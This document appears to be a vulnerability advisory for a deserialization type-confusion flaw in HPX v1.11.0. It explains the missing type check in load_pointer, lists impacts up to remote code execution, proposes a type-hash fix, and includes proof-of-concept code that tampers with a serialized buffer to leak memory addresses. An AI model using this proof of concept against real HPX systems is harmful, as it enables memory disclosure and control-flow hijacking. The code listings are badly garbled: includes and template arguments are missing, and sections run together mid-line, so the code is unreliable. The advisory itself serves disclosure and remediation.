# Vulnerability Summary: HPX v1.11.0 Deserialization Type Confusion ## Vulnerability Overview An unsafe deserialization vulnerability was discovered in HPX v1.11.0 and earlier versions. Due to insufficient type checking when deserializing shared pointers of different types, this can lead to **Type Confusion**. The root cause lies in the `serialize_pointer_tracked` function. When an existing pointer ID is encountered, the code performs a shallow copy directly **without verifying whether the type of the currently deserialized object matches the original type**. ## Impact Scope * **Information Disclosure**: Attackers can read arbitrary memory addresses through type confusion, thereby bypassing ASLR (Address Space Layout Randomization). * **Control Flow Hijacking**: By tampering with virtual function table pointers (v-pointers), attackers can hijack program execution flow. * **Arbitrary Code Execution**: Combining the above two points, attackers can achieve Remote Code Execution (RCE). * **Privilege Escalation**: This may lead to local privilege escalation. ## Remediation It is recommended to introduce a Type Hash check mechanism in the `load_pointer` function: 1. When loading an object for the first time, calculate and store its type hash. 2. When encountering the same ID later for a shallow copy, verify whether the type hash of the current object matches the stored hash. 3. If they do not match, throw an error to prevent type confusion. ## POC Code Extraction ### 1. Address Leak Example (example_addr_leak.cpp) ```cpp #include #include #include #include #include #include #include #include struct A { std::string data = "AAAAABBBBCCCC"; template void serialize(S& s) { s & data; } }; friend std::ostream& operator void serialize(S& s) { s & data; } }; int main(int argc, char* argv[]) { std::vector buffer; { hpx::serialization::output_archive oarchive(buffer); oarchive & A{} & B{}; } // Modify buffer to simulate a maliciously crafted payload // Modify B's data to A's address, causing the deserialization to read A's address as B's integer buffer[12] = 0x01; // Modify pos to trigger type confusion in the shallow copy logic std::vector in; { hpx::serialization::input_archive iarchive(in); A a; B b; iarchive & a & b; std::cout void load_pointer(T*& new_ptr, int id) { if (is_invalid_id(id) || lookup_id(id) == nullptr) { load_and_deserialize_object(new_ptr); } else { new_ptr = lookup_id(id); // Shallow copy shortcut. Missing type check here } } ``` ### 5. Suggested Fix Code ```cpp template void load_pointer(T*& new_ptr, int id) { if (is_invalid_id(id) || lookup_id(id) == nullptr) { load_and_deserialize_object(new_ptr); id_to_type_hashmap[id] = typehash(); } else { if (id_to_type_hashmap[id] != typehash()) { throw bad_type_error(); } new_ptr = lookup_id(id); // Shallow copy shortcut. } } ```